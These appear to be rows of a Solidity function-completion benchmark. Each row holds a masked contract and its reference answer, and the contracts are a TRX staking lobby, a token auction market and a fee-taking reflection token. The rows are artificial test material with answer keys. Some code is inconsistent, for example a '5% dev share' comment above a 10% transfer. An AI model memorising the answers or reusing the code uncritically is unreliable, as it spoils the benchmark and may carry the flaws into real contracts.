/* Initializes contract with initial supply tokens to the creator of the contract */ function QZToken(string tokenName, string tokenSymbol, uint8 decimalUnits, uint256 initialSupply) public
39,777
TransformableToken
xfLobbyEntry
contract TransformableToken is StakeableToken { /** * @dev PUBLIC FACING: Enter the auction lobby for the current round * @param referrerAddr TRX address of referring user (optional; 0x0 for no referrer) */ function xfLobbyEnter(address referrerAddr) external payable { uint256 enterDay = _currentDay(); uint256 rawAmount = msg.value; require(rawAmount != 0, "E2X: Amount required"); XfLobbyQueueStore storage qRef = xfLobbyMembers[enterDay][msg.sender]; uint256 entryIndex = qRef.tailIndex++; qRef.entries[entryIndex] = XfLobbyEntryStore(uint96(rawAmount), referrerAddr); xfLobby[enterDay] += rawAmount; emit XfLobbyEnter( block.timestamp, enterDay, entryIndex, rawAmount ); } /** * @dev PUBLIC FACING: Leave the transform lobby after the round is complete * @param enterDay Day number when the member entered * @param count Number of queued-enters to exit (optional; 0 for all) */ function xfLobbyExit(uint256 enterDay, uint256 count) external { require(enterDay < _currentDay(), "E2X: Round is not complete"); XfLobbyQueueStore storage qRef = xfLobbyMembers[enterDay][msg.sender]; uint256 headIndex = qRef.headIndex; uint256 endIndex; if (count != 0) { require(count <= qRef.tailIndex - headIndex, "E2X: count invalid"); endIndex = headIndex + count; } else { endIndex = qRef.tailIndex; require(headIndex < endIndex, "E2X: count invalid"); } uint256 waasLobby = _waasLobby(enterDay); uint256 _xfLobby = xfLobby[enterDay]; uint256 totalXfAmount = 0; do { uint256 rawAmount = qRef.entries[headIndex].rawAmount; address referrerAddr = qRef.entries[headIndex].referrerAddr; delete qRef.entries[headIndex]; uint256 xfAmount = waasLobby * rawAmount / _xfLobby; if (referrerAddr == address(0) || referrerAddr == msg.sender) { /* No referrer or Self-referred */ _emitXfLobbyExit(enterDay, headIndex, xfAmount, referrerAddr); } else { /* Referral bonus of 5% of xfAmount to member */ uint256 referralBonusSuns = xfAmount / 20; xfAmount += referralBonusSuns; /* Then a cumulative referrer bonus of 10% to referrer */ uint256 referrerBonusSuns = xfAmount / 10; _emitXfLobbyExit(enterDay, headIndex, xfAmount, referrerAddr); _mint(referrerAddr, referrerBonusSuns); } totalXfAmount += xfAmount; } while (++headIndex < endIndex); qRef.headIndex = uint40(headIndex); if (totalXfAmount != 0) { _mint(msg.sender, totalXfAmount); } } /** * @dev PUBLIC FACING: External helper to return multiple values of xfLobby[] with * a single call * @param beginDay First day of data range * @param endDay Last day (non-inclusive) of data range * @return Fixed array of values */ function xfLobbyRange(uint256 beginDay, uint256 endDay) external view returns (uint256[] memory list) { require( beginDay < endDay && endDay <= _currentDay(), "E2X: invalid range" ); list = new uint256[](endDay - beginDay); uint256 src = beginDay; uint256 dst = 0; do { list[dst++] = uint256(xfLobby[src++]); } while (src < endDay); return list; } /** * @dev PUBLIC FACING: Release 5% dev share from daily dividends */ function xfFlush() external { GlobalsCache memory g; GlobalsCache memory gSnapshot; _globalsLoad(g, gSnapshot); require(address(this).balance != 0, "E2X: No value"); require(LAST_FLUSHED_DAY < _currentDay(), "E2X: Invalid day"); _dailyDataUpdateAuto(g); T2X_SHARE_ADDR.transfer((dailyData[LAST_FLUSHED_DAY].dayDividends * 10) / 100); LAST_FLUSHED_DAY++; _globalsSync(g, gSnapshot); } /** * @dev PUBLIC FACING: Return a current lobby member queue entry. * Only needed due to limitations of the standard ABI encoder. * @param memberAddr TRX address of the lobby member * @param enterDay * @param entryIndex * @return 1: Raw amount that was entered with; 2: Referring TRX addr (optional; 0x0 for no referrer) */ function xfLobbyEntry(address memberAddr, uint256 enterDay, uint256 entryIndex) external view returns (uint256 rawAmount, address referrerAddr) {<FILL_FUNCTION_BODY> } /** * @dev PUBLIC FACING: Return the lobby days that a user is in with a single call * @param memberAddr TRX address of the user * @return Bit vector of lobby day numbers */ function xfLobbyPendingDays(address memberAddr) external view returns (uint256[XF_LOBBY_DAY_WORDS] memory words) { uint256 day = _currentDay() + 1; while (day-- != 0) { if (xfLobbyMembers[day][memberAddr].tailIndex > xfLobbyMembers[day][memberAddr].headIndex) { words[day >> 8] |= 1 << (day & 255); } } return words; } function _waasLobby(uint256 enterDay) private returns (uint256 waasLobby) { /* 1342465753424 = ~ 4900000 * SUNS_PER_E2X / 365 */ if (enterDay > 0 && enterDay <= 365) { waasLobby = CLAIM_STARTING_AMOUNT - ((enterDay - 1) * 1342465753424); } else { waasLobby = CLAIM_LOWEST_AMOUNT; } return waasLobby; } function _emitXfLobbyExit( uint256 enterDay, uint256 entryIndex, uint256 xfAmount, address referrerAddr ) private { emit XfLobbyExit( block.timestamp, enterDay, entryIndex, xfAmount, referrerAddr ); } }
contract TransformableToken is StakeableToken { /** * @dev PUBLIC FACING: Enter the auction lobby for the current round * @param referrerAddr TRX address of referring user (optional; 0x0 for no referrer) */ function xfLobbyEnter(address referrerAddr) external payable { uint256 enterDay = _currentDay(); uint256 rawAmount = msg.value; require(rawAmount != 0, "E2X: Amount required"); XfLobbyQueueStore storage qRef = xfLobbyMembers[enterDay][msg.sender]; uint256 entryIndex = qRef.tailIndex++; qRef.entries[entryIndex] = XfLobbyEntryStore(uint96(rawAmount), referrerAddr); xfLobby[enterDay] += rawAmount; emit XfLobbyEnter( block.timestamp, enterDay, entryIndex, rawAmount ); } /** * @dev PUBLIC FACING: Leave the transform lobby after the round is complete * @param enterDay Day number when the member entered * @param count Number of queued-enters to exit (optional; 0 for all) */ function xfLobbyExit(uint256 enterDay, uint256 count) external { require(enterDay < _currentDay(), "E2X: Round is not complete"); XfLobbyQueueStore storage qRef = xfLobbyMembers[enterDay][msg.sender]; uint256 headIndex = qRef.headIndex; uint256 endIndex; if (count != 0) { require(count <= qRef.tailIndex - headIndex, "E2X: count invalid"); endIndex = headIndex + count; } else { endIndex = qRef.tailIndex; require(headIndex < endIndex, "E2X: count invalid"); } uint256 waasLobby = _waasLobby(enterDay); uint256 _xfLobby = xfLobby[enterDay]; uint256 totalXfAmount = 0; do { uint256 rawAmount = qRef.entries[headIndex].rawAmount; address referrerAddr = qRef.entries[headIndex].referrerAddr; delete qRef.entries[headIndex]; uint256 xfAmount = waasLobby * rawAmount / _xfLobby; if (referrerAddr == address(0) || referrerAddr == msg.sender) { /* No referrer or Self-referred */ _emitXfLobbyExit(enterDay, headIndex, xfAmount, referrerAddr); } else { /* Referral bonus of 5% of xfAmount to member */ uint256 referralBonusSuns = xfAmount / 20; xfAmount += referralBonusSuns; /* Then a cumulative referrer bonus of 10% to referrer */ uint256 referrerBonusSuns = xfAmount / 10; _emitXfLobbyExit(enterDay, headIndex, xfAmount, referrerAddr); _mint(referrerAddr, referrerBonusSuns); } totalXfAmount += xfAmount; } while (++headIndex < endIndex); qRef.headIndex = uint40(headIndex); if (totalXfAmount != 0) { _mint(msg.sender, totalXfAmount); } } /** * @dev PUBLIC FACING: External helper to return multiple values of xfLobby[] with * a single call * @param beginDay First day of data range * @param endDay Last day (non-inclusive) of data range * @return Fixed array of values */ function xfLobbyRange(uint256 beginDay, uint256 endDay) external view returns (uint256[] memory list) { require( beginDay < endDay && endDay <= _currentDay(), "E2X: invalid range" ); list = new uint256[](endDay - beginDay); uint256 src = beginDay; uint256 dst = 0; do { list[dst++] = uint256(xfLobby[src++]); } while (src < endDay); return list; } /** * @dev PUBLIC FACING: Release 5% dev share from daily dividends */ function xfFlush() external { GlobalsCache memory g; GlobalsCache memory gSnapshot; _globalsLoad(g, gSnapshot); require(address(this).balance != 0, "E2X: No value"); require(LAST_FLUSHED_DAY < _currentDay(), "E2X: Invalid day"); _dailyDataUpdateAuto(g); T2X_SHARE_ADDR.transfer((dailyData[LAST_FLUSHED_DAY].dayDividends * 10) / 100); LAST_FLUSHED_DAY++; _globalsSync(g, gSnapshot); } <FILL_FUNCTION> /** * @dev PUBLIC FACING: Return the lobby days that a user is in with a single call * @param memberAddr TRX address of the user * @return Bit vector of lobby day numbers */ function xfLobbyPendingDays(address memberAddr) external view returns (uint256[XF_LOBBY_DAY_WORDS] memory words) { uint256 day = _currentDay() + 1; while (day-- != 0) { if (xfLobbyMembers[day][memberAddr].tailIndex > xfLobbyMembers[day][memberAddr].headIndex) { words[day >> 8] |= 1 << (day & 255); } } return words; } function _waasLobby(uint256 enterDay) private returns (uint256 waasLobby) { /* 1342465753424 = ~ 4900000 * SUNS_PER_E2X / 365 */ if (enterDay > 0 && enterDay <= 365) { waasLobby = CLAIM_STARTING_AMOUNT - ((enterDay - 1) * 1342465753424); } else { waasLobby = CLAIM_LOWEST_AMOUNT; } return waasLobby; } function _emitXfLobbyExit( uint256 enterDay, uint256 entryIndex, uint256 xfAmount, address referrerAddr ) private { emit XfLobbyExit( block.timestamp, enterDay, entryIndex, xfAmount, referrerAddr ); } }
XfLobbyEntryStore storage entry = xfLobbyMembers[enterDay][memberAddr].entries[entryIndex]; require(entry.rawAmount != 0, "E2X: Param invalid"); return (entry.rawAmount, entry.referrerAddr);
function xfLobbyEntry(address memberAddr, uint256 enterDay, uint256 entryIndex) external view returns (uint256 rawAmount, address referrerAddr)
/** * @dev PUBLIC FACING: Return a current lobby member queue entry. * Only needed due to limitations of the standard ABI encoder. * @param memberAddr TRX address of the lobby member * @param enterDay * @param entryIndex * @return 1: Raw amount that was entered with; 2: Referring TRX addr (optional; 0x0 for no referrer) */ function xfLobbyEntry(address memberAddr, uint256 enterDay, uint256 entryIndex) external view returns (uint256 rawAmount, address referrerAddr)
51,955
Market
_addAuction
contract Market is MarketInterface, Pausable { // Shows the auction on an Cutie Token struct Auction { // Price (in wei) at the beginning of auction uint128 startPrice; // Price (in wei) at the end of auction uint128 endPrice; // Current owner of Token address seller; // Auction duration in seconds uint40 duration; // Time when auction started // NOTE: 0 if this auction has been concluded uint40 startedAt; } // Reference to contract that tracks ownership CutieCoreInterface public coreContract; // Cut owner takes on each auction, in basis points - 1/100 of a per cent. // Values 0-10,000 map to 0%-100% uint16 public ownerFee; // Map from token ID to their corresponding auction. mapping (uint40 => Auction) cutieIdToAuction; event AuctionCreated(uint40 cutieId, uint128 startPrice, uint128 endPrice, uint40 duration, uint256 fee); event AuctionSuccessful(uint40 cutieId, uint128 totalPrice, address winner); event AuctionCancelled(uint40 cutieId); /// @dev disables sending fund to this contract function() external {} modifier canBeStoredIn128Bits(uint256 _value) { require(_value <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); _; } // @dev Adds to the list of open auctions and fires the // AuctionCreated event. // @param _cutieId The token ID is to be put on auction. // @param _auction To add an auction. // @param _fee Amount of money to feature auction function _addAuction(uint40 _cutieId, Auction _auction, uint256 _fee) internal {<FILL_FUNCTION_BODY> } // @dev Returns true if the token is claimed by the claimant. // @param _claimant - Address claiming to own the token. function _isOwner(address _claimant, uint256 _cutieId) internal view returns (bool) { return (coreContract.ownerOf(_cutieId) == _claimant); } // @dev Transfers the token owned by this contract to another address. // Returns true when the transfer succeeds. // @param _receiver - Address to transfer token to. // @param _cutieId - Token ID to transfer. function _transfer(address _receiver, uint40 _cutieId) internal { // it will throw if transfer fails coreContract.transfer(_receiver, _cutieId); } // @dev Escrows the token and assigns ownership to this contract. // Throws if the escrow fails. // @param _owner - Current owner address of token to escrow. // @param _cutieId - Token ID the approval of which is to be verified. function _escrow(address _owner, uint40 _cutieId) internal { // it will throw if transfer fails coreContract.transferFrom(_owner, this, _cutieId); } // @dev just cancel auction. function _cancelActiveAuction(uint40 _cutieId, address _seller) internal { _removeAuction(_cutieId); _transfer(_seller, _cutieId); emit AuctionCancelled(_cutieId); } // @dev Calculates the price and transfers winnings. // Does not transfer token ownership. function _bid(uint40 _cutieId, uint128 _bidAmount) internal returns (uint128) { // Get a reference to the auction struct Auction storage auction = cutieIdToAuction[_cutieId]; require(_isOnAuction(auction)); // Check that bid > current price uint128 price = _currentPrice(auction); require(_bidAmount >= price); // Provide a reference to the seller before the auction struct is deleted. address seller = auction.seller; _removeAuction(_cutieId); // Transfer proceeds to seller (if there are any!) if (price > 0) { uint128 fee = _computeFee(price); uint128 sellerValue = price - fee; seller.transfer(sellerValue); } emit AuctionSuccessful(_cutieId, price, msg.sender); return price; } // @dev Removes from the list of open auctions. // @param _cutieId - ID of token on auction. function _removeAuction(uint40 _cutieId) internal { delete cutieIdToAuction[_cutieId]; } // @dev Returns true if the token is on auction. // @param _auction - Auction to check. function _isOnAuction(Auction storage _auction) internal view returns (bool) { return (_auction.startedAt > 0); } // @dev calculate current price of auction. // When testing, make this function public and turn on // `Current price calculation` test suite. function _computeCurrentPrice( uint128 _startPrice, uint128 _endPrice, uint40 _duration, uint40 _secondsPassed ) internal pure returns (uint128) { if (_secondsPassed >= _duration) { return _endPrice; } else { int256 totalPriceChange = int256(_endPrice) - int256(_startPrice); int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration); uint128 currentPrice = _startPrice + uint128(currentPriceChange); return currentPrice; } } // @dev return current price of token. function _currentPrice(Auction storage _auction) internal view returns (uint128) { uint40 secondsPassed = 0; uint40 timeNow = uint40(now); if (timeNow > _auction.startedAt) { secondsPassed = timeNow - _auction.startedAt; } return _computeCurrentPrice( _auction.startPrice, _auction.endPrice, _auction.duration, secondsPassed ); } // @dev Calculates owner's cut of a sale. // @param _price - Sale price of cutie. function _computeFee(uint128 _price) internal view returns (uint128) { return _price * ownerFee / 10000; } // @dev Remove all Ether from the contract with the owner's cuts. Also, remove any Ether sent directly to the contract address. // Transfers to the token contract, but can be called by // the owner or the token contract. function withdrawEthFromBalance() external { address coreAddress = address(coreContract); require( msg.sender == owner || msg.sender == coreAddress ); coreAddress.transfer(address(this).balance); } // @dev create and begin new auction. function createAuction(uint40 _cutieId, uint128 _startPrice, uint128 _endPrice, uint40 _duration, address _seller) public whenNotPaused payable { require(_isOwner(msg.sender, _cutieId)); _escrow(msg.sender, _cutieId); Auction memory auction = Auction( _startPrice, _endPrice, _seller, _duration, uint40(now) ); _addAuction(_cutieId, auction, msg.value); } // @dev Set the reference to cutie ownership contract. Verify the owner's fee. // @param fee should be between 0-10,000. function setup(address _coreContractAddress, uint16 _fee) public { require(coreContract == address(0)); require(_fee <= 10000); require(msg.sender == owner); ownerFee = _fee; CutieCoreInterface candidateContract = CutieCoreInterface(_coreContractAddress); require(candidateContract.isCutieCore()); coreContract = candidateContract; } // @dev Set the owner's fee. // @param fee should be between 0-10,000. function setFee(uint16 _fee) public { require(_fee <= 10000); require(msg.sender == owner); ownerFee = _fee; } // @dev bid on auction. Complete it and transfer ownership of cutie if enough ether was given. function bid(uint40 _cutieId) public payable whenNotPaused canBeStoredIn128Bits(msg.value) { // _bid throws if something failed. _bid(_cutieId, uint128(msg.value)); _transfer(msg.sender, _cutieId); } // @dev Returns auction info for a token on auction. // @param _cutieId - ID of token on auction. function getAuctionInfo(uint40 _cutieId) public view returns ( address seller, uint128 startPrice, uint128 endPrice, uint40 duration, uint40 startedAt ) { Auction storage auction = cutieIdToAuction[_cutieId]; require(_isOnAuction(auction)); return ( auction.seller, auction.startPrice, auction.endPrice, auction.duration, auction.startedAt ); } // @dev Returns the current price of an auction. function getCurrentPrice(uint40 _cutieId) public view returns (uint128) { Auction storage auction = cutieIdToAuction[_cutieId]; require(_isOnAuction(auction)); return _currentPrice(auction); } // @dev Cancels unfinished auction and returns token to owner. // Can be called when contract is paused. function cancelActiveAuction(uint40 _cutieId) public { Auction storage auction = cutieIdToAuction[_cutieId]; require(_isOnAuction(auction)); address seller = auction.seller; require(msg.sender == seller); _cancelActiveAuction(_cutieId, seller); } // @dev Cancels auction when contract is on pause. Option is available only to owners in urgent situations. Tokens returned to seller. // Used on Core contract upgrade. function cancelActiveAuctionWhenPaused(uint40 _cutieId) whenPaused onlyOwner public { Auction storage auction = cutieIdToAuction[_cutieId]; require(_isOnAuction(auction)); _cancelActiveAuction(_cutieId, auction.seller); } }
contract Market is MarketInterface, Pausable { // Shows the auction on an Cutie Token struct Auction { // Price (in wei) at the beginning of auction uint128 startPrice; // Price (in wei) at the end of auction uint128 endPrice; // Current owner of Token address seller; // Auction duration in seconds uint40 duration; // Time when auction started // NOTE: 0 if this auction has been concluded uint40 startedAt; } // Reference to contract that tracks ownership CutieCoreInterface public coreContract; // Cut owner takes on each auction, in basis points - 1/100 of a per cent. // Values 0-10,000 map to 0%-100% uint16 public ownerFee; // Map from token ID to their corresponding auction. mapping (uint40 => Auction) cutieIdToAuction; event AuctionCreated(uint40 cutieId, uint128 startPrice, uint128 endPrice, uint40 duration, uint256 fee); event AuctionSuccessful(uint40 cutieId, uint128 totalPrice, address winner); event AuctionCancelled(uint40 cutieId); /// @dev disables sending fund to this contract function() external {} modifier canBeStoredIn128Bits(uint256 _value) { require(_value <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); _; } <FILL_FUNCTION> // @dev Returns true if the token is claimed by the claimant. // @param _claimant - Address claiming to own the token. function _isOwner(address _claimant, uint256 _cutieId) internal view returns (bool) { return (coreContract.ownerOf(_cutieId) == _claimant); } // @dev Transfers the token owned by this contract to another address. // Returns true when the transfer succeeds. // @param _receiver - Address to transfer token to. // @param _cutieId - Token ID to transfer. function _transfer(address _receiver, uint40 _cutieId) internal { // it will throw if transfer fails coreContract.transfer(_receiver, _cutieId); } // @dev Escrows the token and assigns ownership to this contract. // Throws if the escrow fails. // @param _owner - Current owner address of token to escrow. // @param _cutieId - Token ID the approval of which is to be verified. function _escrow(address _owner, uint40 _cutieId) internal { // it will throw if transfer fails coreContract.transferFrom(_owner, this, _cutieId); } // @dev just cancel auction. function _cancelActiveAuction(uint40 _cutieId, address _seller) internal { _removeAuction(_cutieId); _transfer(_seller, _cutieId); emit AuctionCancelled(_cutieId); } // @dev Calculates the price and transfers winnings. // Does not transfer token ownership. function _bid(uint40 _cutieId, uint128 _bidAmount) internal returns (uint128) { // Get a reference to the auction struct Auction storage auction = cutieIdToAuction[_cutieId]; require(_isOnAuction(auction)); // Check that bid > current price uint128 price = _currentPrice(auction); require(_bidAmount >= price); // Provide a reference to the seller before the auction struct is deleted. address seller = auction.seller; _removeAuction(_cutieId); // Transfer proceeds to seller (if there are any!) if (price > 0) { uint128 fee = _computeFee(price); uint128 sellerValue = price - fee; seller.transfer(sellerValue); } emit AuctionSuccessful(_cutieId, price, msg.sender); return price; } // @dev Removes from the list of open auctions. // @param _cutieId - ID of token on auction. function _removeAuction(uint40 _cutieId) internal { delete cutieIdToAuction[_cutieId]; } // @dev Returns true if the token is on auction. // @param _auction - Auction to check. function _isOnAuction(Auction storage _auction) internal view returns (bool) { return (_auction.startedAt > 0); } // @dev calculate current price of auction. // When testing, make this function public and turn on // `Current price calculation` test suite. function _computeCurrentPrice( uint128 _startPrice, uint128 _endPrice, uint40 _duration, uint40 _secondsPassed ) internal pure returns (uint128) { if (_secondsPassed >= _duration) { return _endPrice; } else { int256 totalPriceChange = int256(_endPrice) - int256(_startPrice); int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration); uint128 currentPrice = _startPrice + uint128(currentPriceChange); return currentPrice; } } // @dev return current price of token. function _currentPrice(Auction storage _auction) internal view returns (uint128) { uint40 secondsPassed = 0; uint40 timeNow = uint40(now); if (timeNow > _auction.startedAt) { secondsPassed = timeNow - _auction.startedAt; } return _computeCurrentPrice( _auction.startPrice, _auction.endPrice, _auction.duration, secondsPassed ); } // @dev Calculates owner's cut of a sale. // @param _price - Sale price of cutie. function _computeFee(uint128 _price) internal view returns (uint128) { return _price * ownerFee / 10000; } // @dev Remove all Ether from the contract with the owner's cuts. Also, remove any Ether sent directly to the contract address. // Transfers to the token contract, but can be called by // the owner or the token contract. function withdrawEthFromBalance() external { address coreAddress = address(coreContract); require( msg.sender == owner || msg.sender == coreAddress ); coreAddress.transfer(address(this).balance); } // @dev create and begin new auction. function createAuction(uint40 _cutieId, uint128 _startPrice, uint128 _endPrice, uint40 _duration, address _seller) public whenNotPaused payable { require(_isOwner(msg.sender, _cutieId)); _escrow(msg.sender, _cutieId); Auction memory auction = Auction( _startPrice, _endPrice, _seller, _duration, uint40(now) ); _addAuction(_cutieId, auction, msg.value); } // @dev Set the reference to cutie ownership contract. Verify the owner's fee. // @param fee should be between 0-10,000. function setup(address _coreContractAddress, uint16 _fee) public { require(coreContract == address(0)); require(_fee <= 10000); require(msg.sender == owner); ownerFee = _fee; CutieCoreInterface candidateContract = CutieCoreInterface(_coreContractAddress); require(candidateContract.isCutieCore()); coreContract = candidateContract; } // @dev Set the owner's fee. // @param fee should be between 0-10,000. function setFee(uint16 _fee) public { require(_fee <= 10000); require(msg.sender == owner); ownerFee = _fee; } // @dev bid on auction. Complete it and transfer ownership of cutie if enough ether was given. function bid(uint40 _cutieId) public payable whenNotPaused canBeStoredIn128Bits(msg.value) { // _bid throws if something failed. _bid(_cutieId, uint128(msg.value)); _transfer(msg.sender, _cutieId); } // @dev Returns auction info for a token on auction. // @param _cutieId - ID of token on auction. function getAuctionInfo(uint40 _cutieId) public view returns ( address seller, uint128 startPrice, uint128 endPrice, uint40 duration, uint40 startedAt ) { Auction storage auction = cutieIdToAuction[_cutieId]; require(_isOnAuction(auction)); return ( auction.seller, auction.startPrice, auction.endPrice, auction.duration, auction.startedAt ); } // @dev Returns the current price of an auction. function getCurrentPrice(uint40 _cutieId) public view returns (uint128) { Auction storage auction = cutieIdToAuction[_cutieId]; require(_isOnAuction(auction)); return _currentPrice(auction); } // @dev Cancels unfinished auction and returns token to owner. // Can be called when contract is paused. function cancelActiveAuction(uint40 _cutieId) public { Auction storage auction = cutieIdToAuction[_cutieId]; require(_isOnAuction(auction)); address seller = auction.seller; require(msg.sender == seller); _cancelActiveAuction(_cutieId, seller); } // @dev Cancels auction when contract is on pause. Option is available only to owners in urgent situations. Tokens returned to seller. // Used on Core contract upgrade. function cancelActiveAuctionWhenPaused(uint40 _cutieId) whenPaused onlyOwner public { Auction storage auction = cutieIdToAuction[_cutieId]; require(_isOnAuction(auction)); _cancelActiveAuction(_cutieId, auction.seller); } }
// Require that all auctions have a duration of // at least one minute. (Keeps our math from getting hairy!) require(_auction.duration >= 1 minutes); cutieIdToAuction[_cutieId] = _auction; emit AuctionCreated( _cutieId, _auction.startPrice, _auction.endPrice, _auction.duration, _fee );
function _addAuction(uint40 _cutieId, Auction _auction, uint256 _fee) internal
// @dev Adds to the list of open auctions and fires the // AuctionCreated event. // @param _cutieId The token ID is to be put on auction. // @param _auction To add an auction. // @param _fee Amount of money to feature auction function _addAuction(uint40 _cutieId, Auction _auction, uint256 _fee) internal
53,293
miniminiMONO
null
contract miniminiMONO is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; address payable private _feeAddrWallet3; string private constant _name = "miniminiMONO"; string private constant _symbol = "miniminiMONO"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () {<FILL_FUNCTION_BODY> } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = 1; _feeAddr2 = 9; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 300000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function liftMaxTx() external onlyOwner{ _maxTxAmount = _tTotal; } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount/3); _feeAddrWallet2.transfer(amount/3); _feeAddrWallet3.transfer(amount/3); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2000000000* 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
